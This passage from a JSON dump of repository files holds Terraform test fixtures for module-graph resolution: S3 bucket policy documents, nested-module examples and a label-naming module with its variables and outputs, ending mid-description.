\"sid\": {\n                              \"constant_value\": \"AWSLogDeliveryWrite\"\n                            }\n                          },\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:GetBucketAcl\",\n                                \"s3:ListBucket\"\n                              ]\n                            },\n                            \"effect\": {\n                              \"constant_value\": \"Allow\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"delivery.logs.amazonaws.com\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"Service\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"AWSLogDeliveryAclCheck\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_lb_log_delivery_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.require_latest_tls\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"require_latest_tls\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:*\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"NumericLessThan\"\n                                },\n                                \"values\": {\n                                  \"constant_value\": [\n                                    \"1.2\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"s3:TlsVersion\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Deny\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"*\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"*\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\",\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"denyOutdatedTLS\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_require_latest_tls_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_partition.current\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_partition\",\n                      \"name\": \"current\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"schema_version\": 0\n                    },\n                    {\n                      \"address\": \"data.aws_region.current\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_region\",\n                      \"name\": \"current\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"schema_version\": 0\n                    }\n                  ],\n                  \"variables\": {\n                    \"acceleration_status\": {\n                      \"default\": null,\n                      \"description\": \"(Optional) Sets the accelerate configuration of an existing bucket. Can be Enabled or Suspended.\"\n                    },\n                    \"access_log_delivery_policy_source_accounts\": {\n                      \"default\": [],\n                      \"description\": \"(Optional) List of AWS Account IDs should be allowed to deliver access logs to this bucket.\"\n                    },\n                    \"access_log_delivery_policy_source_buckets\": {\n                      \"default\": [],\n                      \"description\": \"(Optional) List of S3 bucket ARNs wich should be allowed to deliver access logs to this bucket.\"\n                    },\n                    \"acl\": {\n                      \"default\": null,\n                      \"description\": \"(Optional) The canned ACL to apply. Conflicts with `grant`\"\n                    },\n                    \"allowed_kms_key_arn\": {\n                      \"default\": null,\n                      \"description\": \"The ARN of KMS key which should be allowed in PutObject\"\n                    },\n                    \"analytics_configuration\": {\n                      \"default\": {},\n                      \"description\": \"Map containing bucket analytics configuration.\"\n                    },\n                    \"analytics_self_source_destination\": {\n                      \"default\": false,\n                      \"description\": \"Whether or not the analytics source bucket is also the destination bucket.\"\n                    },\n                    \"analytics_source_account_id\": {\n                      \"default\": null,\n                      \"description\": \"The analytics source account id.\"\n                    },\n                    \"analytics_source_bucket_arn\": {\n                      \"default\": null,\n                      \"description\": \"The analytics source bucket ARN.\"\n                    },\n                    \"attach_access_log_delivery_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have S3 access log delivery policy attached\"\n                    },\n                    \"attach_analytics_destination_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have bucket analytics destination policy attached.\"\n                    },\n                    \"attach_deny_incorrect_encryption_headers\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should deny incorrect encryption headers policy attached.\"\n                    },\n                    \"attach_deny_incorrect_kms_key_sse\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket policy should deny usage of incorrect KMS key SSE.\"\n                    },\n                    \"attach_deny_insecure_transport_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have deny non-SSL transport policy attached\"\n                    },\n                    \"attach_deny_unencrypted_object_uploads\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should deny unencrypted object uploads policy attached.\"\n                    },\n                    \"attach_elb_log_delivery_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have ELB log delivery policy attached\"\n                    },\n                    \"attach_inventory_destination_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have bucket inventory destination policy attached.\"\n                    },\n                    \"attach_lb_log_delivery_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have ALB/NLB log delivery policy attached\"\n                    },\n                    \"attach_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have bucket policy attached (set to `true` to use value of `policy` as bucket policy)\"\n                    },\n                    \"attach_public_policy\": {\n                      \"default\": true,\n                      \"description\": \"Controls if a user defined public bucket policy will be attached (set to `false` to allow upstream to apply defaults to the bucket)\"\n                    },\n                    \"attach_require_latest_tls_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should require the latest version of TLS\"\n                    },\n                    \"block_public_acls\": {\n                      \"default\": true,\n                      \"description\": \"Whether Amazon S3 should block public ACLs for this bucket.\"\n                    },\n                    \"block_public_policy\": {\n                      \"default\": true,\n                      \"description\": \"Whether Amazon S3 should block public bucket policies for this bucket.\"\n                    },\n                    \"bucket\": {\n                      \"default\": null,\n                      \"description\": \"(Optional, Forces new resource) The name of the bucket. If omitted, Terraform will assign a random, unique name.\"\n                    },\n                    \"bucket_prefix\": {\n                      \"default\": null,\n                      \"description\": \"(Optional, Forces new resource) Creates a unique bucket name beginning with the specified prefix. Conflicts with bucket.\"\n                    },\n                    \"control_object_ownership\": {\n                      \"default\": false,\n                      \"description\": \"Whether to manage S3 Bucket Ownership Controls on this bucket.\"\n                    },\n                    \"cors_rule\": {\n                      \"default\": [],\n                      \"description\": \"List of maps containing rules for Cross-Origin Resource Sharing.\"\n                    },\n                    \"create_bucket\": {\n                      \"default\": true,\n                      \"description\": \"Controls if S3 bucket should be created\"\n                    },\n                    \"expected_bucket_owner\": {\n                      \"default\": null,\n                      \"description\": \"The account ID of the expected bucket owner\"\n                    },\n                    \"force_destroy\": {\n                      \"default\": false,\n                      \"description\": \"(Optional, Default:false ) A boolean that indicates all objects should be deleted from the bucket so that the bucket can be destroyed without error. These objects are not recoverable.\"\n                    },\n                    \"grant\": {\n                      \"default\": [],\n                      \"description\": \"An ACL policy grant. Conflicts with `acl`\"\n                    },\n                    \"ignore_public_acls\": {\n                      \"default\": true,\n                      \"description\": \"Whether Amazon S3 should ignore public ACLs for this bucket.\"\n                    },\n                    \"intelligent_tiering\": {\n                      \"default\": {},\n                      \"description\": \"Map containing intelligent tiering configuration.\"\n                    },\n                    \"inventory_configuration\": {\n                      \"default\": {},\n                      \"description\": \"Map containing S3 inventory configuration.\"\n                    },\n                    \"inventory_self_source_destination\": {\n                      \"default\": false,\n                      \"description\": \"Whether or not the inventory source bucket is also the destination bucket.\"\n                    },\n                    \"inventory_source_account_id\": {\n                      \"default\": null,\n                      \"description\": \"The inventory source account id.\"\n                    },\n                    \"inventory_source_bucket_arn\": {\n                      \"default\": null,\n                      \"description\": \"The inventory source bucket ARN.\"\n                    },\n                    \"lifecycle_rule\": {\n                      \"default\": [],\n                      \"description\": \"List of maps containing configuration of object lifecycle management.\"\n                    },\n                    \"logging\": {\n                      \"default\": {},\n                      \"description\": \"Map containing access bucket logging configuration.\"\n                    },\n                    \"metric_configuration\": {\n                      \"default\": [],\n                      \"description\": \"Map containing bucket metric configuration.\"\n                    },\n                    \"object_lock_configuration\": {\n                      \"default\": {},\n                      \"description\": \"Map containing S3 object locking configuration.\"\n                    },\n                    \"object_lock_enabled\": {\n                      \"default\": false,\n                      \"description\": \"Whether S3 bucket should have an Object Lock configuration enabled.\"\n                    },\n                    \"object_ownership\": {\n                      \"default\": \"BucketOwnerEnforced\",\n                      \"description\": \"Object ownership. Valid values: BucketOwnerEnforced, BucketOwnerPreferred or ObjectWriter. 'BucketOwnerEnforced': ACLs are disabled, and the bucket owner automatically owns and has full control over every object in the bucket. 'BucketOwnerPreferred': Objects uploaded to the bucket change ownership to the bucket owner if the objects are uploaded with the bucket-owner-full-control canned ACL. 'ObjectWriter': The uploading account will own the object if the object is uploaded with the bucket-owner-full-control canned ACL.\"\n                    },\n                    \"owner\": {\n                      \"default\": {},\n                      \"description\": \"Bucket owner's display name and ID. Conflicts with `acl`\"\n                    },\n                    \"policy\": {\n                      \"default\": null,\n                      \"description\": \"(Optional) A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy. For more information about building AWS IAM policy documents with Terraform, see the AWS IAM Policy Document Guide.\"\n                    },\n                    \"replication_configuration\": {\n                      \"default\": {},\n                      \"description\": \"Map containing cross-region replication configuration.\"\n                    },\n                    \"request_payer\": {\n                      \"default\": null,\n                      \"description\": \"(Optional) Specifies who should bear the cost of Amazon S3 data transfer. Can be either BucketOwner or Requester. By default, the owner of the S3 bucket would incur the costs of any data transfer. See Requester Pays Buckets developer guide for more information.\"\n                    },\n                    \"restrict_public_buckets\": {\n                      \"default\": true,\n                      \"description\": \"Whether Amazon S3 should restrict public bucket policies for this bucket.\"\n                    },\n                    \"server_side_encryption_configuration\": {\n                      \"default\": {},\n                      \"description\": \"Map containing server-side encryption configuration.\"\n                    },\n                    \"tags\": {\n                      \"default\": {},\n                      \"description\": \"(Optional) A mapping of tags to assign to the bucket.\"\n                    },\n                    \"versioning\": {\n                      \"default\": {},\n                      \"description\": \"Map containing versioning configuration.\"\n                    },\n                    \"website\": {\n                      \"default\": {},\n                      \"description\": \"Map containing static web-site hosting or redirect configuration.\"\n                    }\n                  },\n                  \"address\": \"module.test.module.s3-bucket-2\"\n                },\n                \"version_constraint\": \"4.0.1\"\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_address/main.tf",
    "content": "provider \"aws\" {\n  region  = \"us-west-2\"\n  alias = \"test_provider\"\n  test_provider = True\n}\n\nmodule \"s3_module\" {\n  source = \"./module\"\n\n  bucket = aws_s3_bucket.example.id\n}\n\n\nresource \"aws_s3_bucket\" \"example\" {\n  bucket = \"example\"\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_address/module/main.tf",
    "content": "module \"inner_s3_module\" {\n  source = \"./module2\"\n  bucket2 = var.bucket\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_address/module/module2/main.tf",
    "content": "locals {\n  bucket2 = var.bucket2\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"var_bucket\" {\n  bucket                  = local.bucket2\n  block_public_acls       = true\n  block_public_policy     = true\n  ignore_public_acls      = true\n  restrict_public_buckets = true\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_address/module/module2/variable.tf",
    "content": "variable \"bucket2\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_address/module/variable.tf",
    "content": "variable \"bucket\" {\n  type = string\n}"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/examples/complete/fixtures.us-west-1.tfvars",
    "content": "region = \"us-west-1\"\n\nnamespace = \"eg\"\n\nstage = \"test\"\n\nname = \"s3-user\"\n\ns3_actions = [\"s3:GetObject\"]\n\ns3_resources = [\"arn:aws:s3:::cpco-testing-ecs-alb-access-logs/*\"]\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/examples/complete/main.tf",
    "content": "provider \"aws\" {\n  region = var.region\n}\n\nmodule \"s3_user\" {\n  source        = \"../../\"\n  namespace     = var.namespace\n  stage         = var.stage\n  name          = var.name\n  force_destroy = true\n  s3_actions    = var.s3_actions\n  s3_resources  = var.s3_resources\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/examples/complete/outputs.tf",
    "content": "output \"user_name\" {\n  value       = module.s3_user.user_name\n  description = \"Normalized IAM user name\"\n}\n\noutput \"user_arn\" {\n  value       = module.s3_user.user_arn\n  description = \"The ARN assigned by AWS for the user\"\n}\n\noutput \"user_unique_id\" {\n  value       = module.s3_user.user_unique_id\n  description = \"The user unique ID assigned by AWS\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/examples/complete/variables.tf",
    "content": "variable \"region\" {\n  type        = string\n  description = \"AWS region\"\n}\n\nvariable \"name\" {\n  type        = string\n  description = \"The Name of the application or solution  (e.g. `bastion` or `portal`)\"\n}\n\nvariable \"namespace\" {\n  type        = string\n  description = \"Namespace, which could be your organization name or abbreviation, e.g. 'eg' or 'cp'\"\n}\n\nvariable \"stage\" {\n  type        = string\n  description = \"Stage (e.g. `prod`, `dev`, `staging`)\"\n}\n\nvariable \"s3_actions\" {\n  type        = list(string)\n  description = \"Actions to allow in the policy\"\n}\n\nvariable \"s3_resources\" {\n  type        = list(string)\n  description = \"S3 resources to apply the actions specified in the policy\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/four/main.tf",
    "content": "locals {\n\n  defaults = {\n    # The `tenant` label was introduced in v0.25.0. To preserve backward compatibility, or, really, to ensure\n    # that people using the `tenant` label are alerted that it was not previously supported if they try to\n    # use it in an older version, it is not included by default.\n    label_order         = [\"namespace\", \"environment\", \"stage\", \"name\", \"attributes\"]\n    regex_replace_chars = \"/[^-a-zA-Z0-9]/\"\n    delimiter           = \"-\"\n    replacement         = \"\"\n    id_length_limit     = 0\n    id_hash_length      = 5\n    label_key_case      = \"title\"\n    label_value_case    = \"lower\"\n\n    # The default value of labels_as_tags cannot be included in this\n    # defaults` map because it creates a circular dependency\n  }\n\n  default_labels_as_tags = keys(local.tags_context)\n  # Unlike other inputs, the first setting of `labels_as_tags` cannot be later overridden. However,\n  # we still have to pass the `input` map as the context to the next module. So we need to distinguish\n  # between the first setting of var.labels_as_tags == null as meaning set the default and do not change\n  # it later, versus later settings of var.labels_as_tags that should be ignored. So, we make the\n  # default value in context be \"unset\", meaning it can be changed, but when it is unset and\n  # var.labels_as_tags is null, we change it to \"default\". Once it is set to \"default\" we will\n  # not allow it to be changed again, but of course we have to detect \"default\" and replace it\n  # with local.default_labels_as_tags when we go to use it.\n  #\n  # We do not want to use null as default or unset, because Terraform has issues with\n  # the value of an object field being null in some places and [] in others.\n  # We do not want to use [] as default or unset because that is actually a valid setting\n  # that we want to have override the default.\n  #\n  # To determine whether that context.labels_as_tags is not set,\n  # we have to cover 2 cases: 1) context does not have a labels_as_tags key, 2) it is present and set to [\"unset\"]\n  context_labels_as_tags_is_unset = try(contains(var.context.labels_as_tags, \"unset\"), true)\n\n  # So far, we have decided not to allow overriding replacement or id_hash_length\n  replacement    = local.defaults.replacement\n  id_hash_length = local.defaults.id_hash_length\n\n  # The values provided by variables supersede the values inherited from the context object,\n  # except for tags and attributes which are merged.\n  input = {\n    # It would be nice to use coalesce here, but we cannot, because it\n    # is an error for all the arguments to coalesce to be empty.\n    enabled   = var.enabled == null ? var.context.enabled : var.enabled\n    namespace = var.namespace == null ? var.context.namespace : var.namespace\n    # tenant was introduced in v0.25.0, prior context versions do not have it\n    tenant      = var.tenant == null ? lookup(var.context, \"tenant\", null) : var.tenant\n    environment = var.environment == null ? var.context.environment : var.environment\n    stage       = var.stage == null ? var.context.stage : var.stage\n    name        = var.name == null ? var.context.name : var.name\n    delimiter   = var.delimiter == null ? var.context.delimiter : var.delimiter\n    # modules tack on attributes (passed by var) to the end of the list (passed by context)\n    attributes = compact(distinct(concat(coalesce(var.context.attributes, []), coalesce(var.attributes, []))))\n    tags       = merge(var.context.tags, var.tags)\n\n    additional_tag_map  = merge(var.context.additional_tag_map, var.additional_tag_map)\n    label_order         = var.label_order == null ? var.context.label_order : var.label_order\n    regex_replace_chars = var.regex_replace_chars == null ? var.context.regex_replace_chars : var.regex_replace_chars\n    id_length_limit     = var.id_length_limit == null ? var.context.id_length_limit : var.id_length_limit\n    label_key_case      = var.label_key_case == null ? lookup(var.context, \"label_key_case\", null) : var.label_key_case\n    label_value_case    = var.label_value_case == null ? lookup(var.context, \"label_value_case\", null) : var.label_value_case\n\n    descriptor_formats = merge(lookup(var.context, \"descriptor_formats\", {}), var.descriptor_formats)\n    labels_as_tags     = local.context_labels_as_tags_is_unset ? var.labels_as_tags : var.context.labels_as_tags\n  }\n\n\n  enabled             = local.input.enabled\n  regex_replace_chars = coalesce(local.input.regex_replace_chars, local.defaults.regex_replace_chars)\n\n  # string_label_names are names of inputs that are strings (not list of strings) used as labels\n  string_label_names = [\"namespace\", \"tenant\", \"environment\", \"stage\", \"name\"]\n  normalized_labels = { for k in local.string_label_names : k =>\n    local.input[k] == null ? \"\" : replace(local.input[k], local.regex_replace_chars, local.replacement)\n  }\n  normalized_attributes = compact(distinct([for v in local.input.attributes : replace(v, local.regex_replace_chars, local.replacement)]))\n\n  formatted_labels = { for k in local.string_label_names : k => local.label_value_case == \"none\" ? local.normalized_labels[k] :\n    local.label_value_case == \"title\" ? title(lower(local.normalized_labels[k])) :\n    local.label_value_case == \"upper\" ? upper(local.normalized_labels[k]) : lower(local.normalized_labels[k])\n  }\n\n  attributes = compact(distinct([\n    for v in local.normalized_attributes : (local.label_value_case == \"none\" ? v :\n      local.label_value_case == \"title\" ? title(lower(v)) :\n    local.label_value_case == \"upper\" ? upper(v) : lower(v))\n  ]))\n\n  namespace   = local.formatted_labels[\"namespace\"]\n  tenant      = local.formatted_labels[\"tenant\"]\n  environment = local.formatted_labels[\"environment\"]\n  stage       = local.formatted_labels[\"stage\"]\n  name        = local.formatted_labels[\"name\"]\n\n  delimiter        = local.input.delimiter == null ? local.defaults.delimiter : local.input.delimiter\n  label_order      = local.input.label_order == null ? local.defaults.label_order : coalescelist(local.input.label_order, local.defaults.label_order)\n  id_length_limit  = local.input.id_length_limit == null ? local.defaults.id_length_limit : local.input.id_length_limit\n  label_key_case   = local.input.label_key_case == null ? local.defaults.label_key_case : local.input.label_key_case\n  label_value_case = local.input.label_value_case == null ? local.defaults.label_value_case : local.input.label_value_case\n\n  # labels_as_tags is an exception to the rule that input vars override context values (see above)\n  labels_as_tags = contains(local.input.labels_as_tags, \"default\") ? local.default_labels_as_tags : local.input.labels_as_tags\n\n  # Just for standardization and completeness\n  descriptor_formats = local.input.descriptor_formats\n\n  additional_tag_map = merge(var.context.additional_tag_map, var.additional_tag_map)\n\n  tags = merge(local.generated_tags, local.input.tags)\n\n  tags_as_list_of_maps = flatten([\n    for key in keys(local.tags) : merge(\n      {\n        key   = key\n        value = local.tags[key]\n    }, local.additional_tag_map)\n  ])\n\n  tags_context = {\n    namespace   = local.namespace\n    tenant      = local.tenant\n    environment = local.environment\n    stage       = local.stage\n    # For AWS we need `Name` to be disambiguated since it has a special meaning\n    name       = local.id\n    attributes = local.id_context.attributes\n  }\n\n  generated_tags = {\n    for l in setintersection(keys(local.tags_context), local.labels_as_tags) :\n    local.label_key_case == \"upper\" ? upper(l) : (\n      local.label_key_case == \"lower\" ? lower(l) : title(lower(l))\n    ) => local.tags_context[l] if length(local.tags_context[l]) > 0\n  }\n\n  id_context = {\n    namespace   = local.namespace\n    tenant      = local.tenant\n    environment = local.environment\n    stage       = local.stage\n    name        = local.name\n    attributes  = join(local.delimiter, local.attributes)\n  }\n\n  labels = [for l in local.label_order : local.id_context[l] if length(local.id_context[l]) > 0]\n\n  id_full = join(local.delimiter, local.labels)\n  # Create a truncated ID if needed\n  delimiter_length = length(local.delimiter)\n  # Calculate length of normal part of ID, leaving room for delimiter and hash\n  id_truncated_length_limit = local.id_length_limit - (local.id_hash_length + local.delimiter_length)\n  # Truncate the ID and ensure a single (not double) trailing delimiter\n  id_truncated = local.id_truncated_length_limit <= 0 ? \"\" : \"${trimsuffix(substr(local.id_full, 0, local.id_truncated_length_limit), local.delimiter)}${local.delimiter}\"\n  # Support usages that disallow numeric characters. Would prefer tr 0-9 q-z but Terraform does not support it.\n  # Probably would have been better to take the hash of only the characters being removed,\n  # so identical removed strings would produce identical hashes, but it is not worth breaking existing IDs for.\n  id_hash_plus = \"${md5(local.id_full)}qrstuvwxyz\"\n  id_hash_case = local.label_value_case == \"title\" ? title(local.id_hash_plus) : local.label_value_case == \"upper\" ? upper(local.id_hash_plus) : local.label_value_case == \"lower\" ? lower(local.id_hash_plus) : local.id_hash_plus\n  id_hash      = replace(local.id_hash_case, local.regex_replace_chars, local.replacement)\n  # Create the short ID by adding a hash to the end of the truncated ID\n  id_short = substr(\"${local.id_truncated}${local.id_hash}\", 0, local.id_length_limit)\n  id       = local.id_length_limit != 0 && length(local.id_full) > local.id_length_limit ? local.id_short : local.id_full\n\n\n  # Context of this label to pass to other label modules\n  output_context = {\n    enabled             = local.enabled\n    namespace           = local.namespace\n    tenant              = local.tenant\n    environment         = local.environment\n    stage               = local.stage\n    name                = local.name\n    delimiter           = local.delimiter\n    attributes          = local.attributes\n    tags                = local.tags\n    additional_tag_map  = local.additional_tag_map\n    label_order         = local.label_order\n    regex_replace_chars = local.regex_replace_chars\n    id_length_limit     = local.id_length_limit\n    label_key_case      = local.label_key_case\n    label_value_case    = local.label_value_case\n    labels_as_tags      = local.labels_as_tags\n    descriptor_formats  = local.descriptor_formats\n  }\n\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/four/output.tf",
    "content": "output \"id\" {\n  value       = local.enabled ? local.id : \"\"\n  description = \"Disambiguated ID string restricted to `id_length_limit` characters in total\"\n}\n\noutput \"id_full\" {\n  value       = local.enabled ? local.id_full : \"\"\n  description = \"ID string not restricted in length\"\n}\n\noutput \"enabled\" {\n  value       = local.enabled\n  description = \"True if module is enabled, false otherwise\"\n}\n\noutput \"namespace\" {\n  value       = local.enabled ? local.namespace : \"\"\n  description = \"Normalized namespace\"\n}\n\noutput \"tenant\" {\n  value       = local.enabled ? local.tenant : \"\"\n  description = \"Normalized tenant\"\n}\n\noutput \"environment\" {\n  value       = local.enabled ? local.environment : \"\"\n  description = \"Normalized environment\"\n}\n\noutput \"name\" {\n  value       = local.enabled ? local.name : \"\"\n  description = \"Normalized name\"\n}\n\noutput \"stage\" {\n  value       = local.enabled ? local.stage : \"\"\n  description = \"Normalized stage\"\n}\n\noutput \"delimiter\" {\n  value       = local.enabled ? local.delimiter : \"\"\n  description = \"Delimiter between `namespace`, `tenant`, `environment`, `stage`, `name` and `attributes`\"\n}\n\noutput \"attributes\" {\n  value       = local.enabled ? local.attributes : []\n  description = \"List of attributes\"\n}\n\noutput \"tags\" {\n  value       = local.enabled ? local.tags : {}\n  description = \"Normalized Tag map\"\n}\n\noutput \"additional_tag_map\" {\n  value       = local.additional_tag_map\n  description = \"The merged additional_tag_map\"\n}\n\noutput \"label_order\" {\n  value       = local.label_order\n  description = \"The naming order actually used to create the ID\"\n}\n\noutput \"regex_replace_chars\" {\n  value       = local.regex_replace_chars\n  description = \"The regex_replace_chars actually used to create the ID\"\n}\n\noutput \"id_length_limit\" {\n  value       = local.id_length_limit\n  description = \"The id_length_limit actually used to create the ID, with `0` meaning unlimited\"\n}\n\noutput \"tags_as_list_of_maps\" {\n  value       = local.tags_as_list_of_maps\n  description = <<-EOT\n    This is a list with one map for each `tag`. Each map contains the tag `key`,\n    `value`, and contents of `var.additional_tag_map`. Used in the rare cases\n    where resources need additional configuration information for each tag.\n    EOT\n}\n\noutput \"descriptors\" {\n  value       = local.descriptors\n  description = \"Map of descriptors as configured by `descriptor_formats`\"\n}\n\noutput \"normalized_context\" {\n  value       = local.output_context\n  description = \"Normalized context of this module\"\n}\n\noutput \"context\" {\n  value       = local.input\n  description = <<-EOT\n  Merged but otherwise unmodified input to this module, to be used as context input to other modules.\n  Note: this version will have null values as defaults, not the values actually used as defaults.\nEOT\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/nested_modules_double_call/four/variable.tf",
    "content": "variable \"context\" {\n  type = any\n  default = {\n    enabled             = true\n    namespace           = null\n    tenant              = null\n    environment         = null\n    stage               = null\n    name                = null\n    delimiter           = null\n    attributes          = []\n    tags                = {}\n    additional_tag_map  = {}\n    regex_replace_chars = null\n    label_order         = []\n    id_length_limit     = null\n    label_key_case      = null\n    label_value_case    = null\n    descriptor_formats  = {}\n    # Note: we have to use [] instead of null for unset lists due to\n    # https://github.com/hashicorp/terraform/issues/28137\n    # which was not fixed until Terraform 1.0.0,\n    # but we want the default to be all the labels in `label_order`\n    # and we want users to be able to prevent all tag generation\n    # by setting `labels_as_tags` to `[]`, so we need\n    # a different sentinel to indicate \"default\"\n    labels_as_tags = [\"unset\"]\n  }\n  description = <<-EOT\n    Single object for setting entire context at once.\n    See description of individual variables for details.\n    Leave string and numeric variables as `null` to use default value.\n    Individual variable settings (non-null) override settings in context object,\n    except for attributes, tags, and additional_tag_map, which are merged.\n  EOT\n\n  validation {\n    condition     = lookup(var.context, \"label_key_case\", null) == null ? true : contains([\"lower\", \"title\", \"upper\"], var.context[\"label_key_case\"])\n    error_message = \"Allowed values: `lower`, `title`, `upper`.\"\n  }\n\n  validation {\n    condition     = lookup(var.context, \"label_value_case\", null) == null ? true : contains([\"lower\", \"title\", \"upper\", \"none\"], var.context[\"label_value_case\"])\n    error_message = \"Allowed values: `lower`, `title`, `upper`, `none`.\"\n  }\n}\n\nvariable \"enabled\" {\n  type        = bool\n  default     = null\n  description = \"Set to false to prevent the module from creating any resources\"\n}\n\nvariable \"namespace\" {\n  type        = string\n  default     = null\n  description = \"ID element. Usually an abbreviation of your organization name, e.g. 'eg' or 'cp', to help ensure generated IDs are globally unique\"\n}\n\nvariable \"tenant\" {\n  type        = string\n  default     = null\n  description = \"ID element _(Rarely used, not included by default)_. A customer identifier, indicating who this instance of a resource is for\"\n}\n\nvariable \"environment\" {\n  type        = string\n  default     = null\n  description = \"ID element. Usually used for region e.g. 'uw2', 'us-west-2', OR role 'prod', 'staging', 'dev', 'UAT'\"\n}\n\nvariable \"stage\" {\n  type        = string\n  default     = null\n  description = \"ID element. Usually used to indicate role, e.g. 'prod', 'staging', 'source', 'build', 'test', 'deploy', 'release'\"\n}\n\nvariable \"name\" {\n  type        = string\n  default     = null\n  description = <<-EOT\n    ID element. Usually the component or solution name, e.g. 'app' or 'jenkins'.\n    This is the only ID element not also included as a `tag`.\n    The \"name\" tag is set to the full `id` string. There is no tag with the value of the `name` input.\n    EOT\n}\n\nvariable \"delimiter\" {\n  type        = string\n  default     = null\n  description = <<-EOT\n    Delimiter to be used between ID elements.\n    Defaults to `-` (hyphen). Set to `\"\"` to use no delimiter at all.\n  EOT\n}\n\nvariable \"attributes\" {\n  type        = list(string)\n  default     = []\n  description = <<-EOT\n    ID element. Additional attributes (e.g. `workers` or `cluster`) to add to `id`,\n    in the order they appear in the list. New attributes are appended to the\n    end of the list. The elements of the list are joined by the `delimiter`\n    and treated as a single ID element.\n    EOT\n}\n\nvariable \"labels_as_tags\" {\n  type        = set(string)\n  default     = [\"default\"]\n  description = <<-EOT\n    Set of labels (ID elements) to include as tags in the `tags` output.\n    Default is to include all labels.\n    Tags with empty values will not be included in the `tags` output.\n    Set to `[]` to suppress all generated tags.\n    **Notes:**\n      The value of the `name` tag, if included, will be the `id`, not the `name`.\n      Unlike other `null-label` inputs, the initial setting of `labels_as_tags` cannot be\n      changed in later chained modules. Attempts to change it will be silently ignored.\n    EOT\n}\n\nvariable \"tags\" {\n  type        = map(string)\n  default     = {}\n  description = <<-EOT\n    Additional tags (e.g. `{'BusinessUnit': 'XYZ'}`).\n    Neither the tag keys nor the tag values will be modified by this module.\n    EOT\n}\n\nvariable \"additional_tag_map\" {\n  type        = map(string)\n  default     = {}\n  description = <<-EOT\n    Additional key-value pairs to add to each map in `tags_as_list_of_maps`. Not added to `tags` or `id`.\n    This is for some rare cases where resources want additional configuration of tags\n    and therefore take a list of maps with tag key, value, and additional configuration.\n    EOT\n}\n\nvariable \"label_order\" {\n  type        = list(string)\n  default     = null\n  description = <<-EOT\n    The order in which the labels (ID elements) appear in the `id`.\n    Defaults to [\"namespace\", \"environment\", \"stage\", \"name\", \"attributes\"].\n    You can omit any of the 6 labels (\"tenant\" is the 6th), but at least one must be present.\n    EOT\n}\n\nvariable \"regex_replace_chars\" {\n  type        = string\n  default     = null\n  description = <<-EOT\n    Terraform regular expression (regex) string.\n    Characters matching the regex will be removed from the ID elements.\n    If not set, `\"/[^a-zA-Z0-9-]/\"` is used to remove all 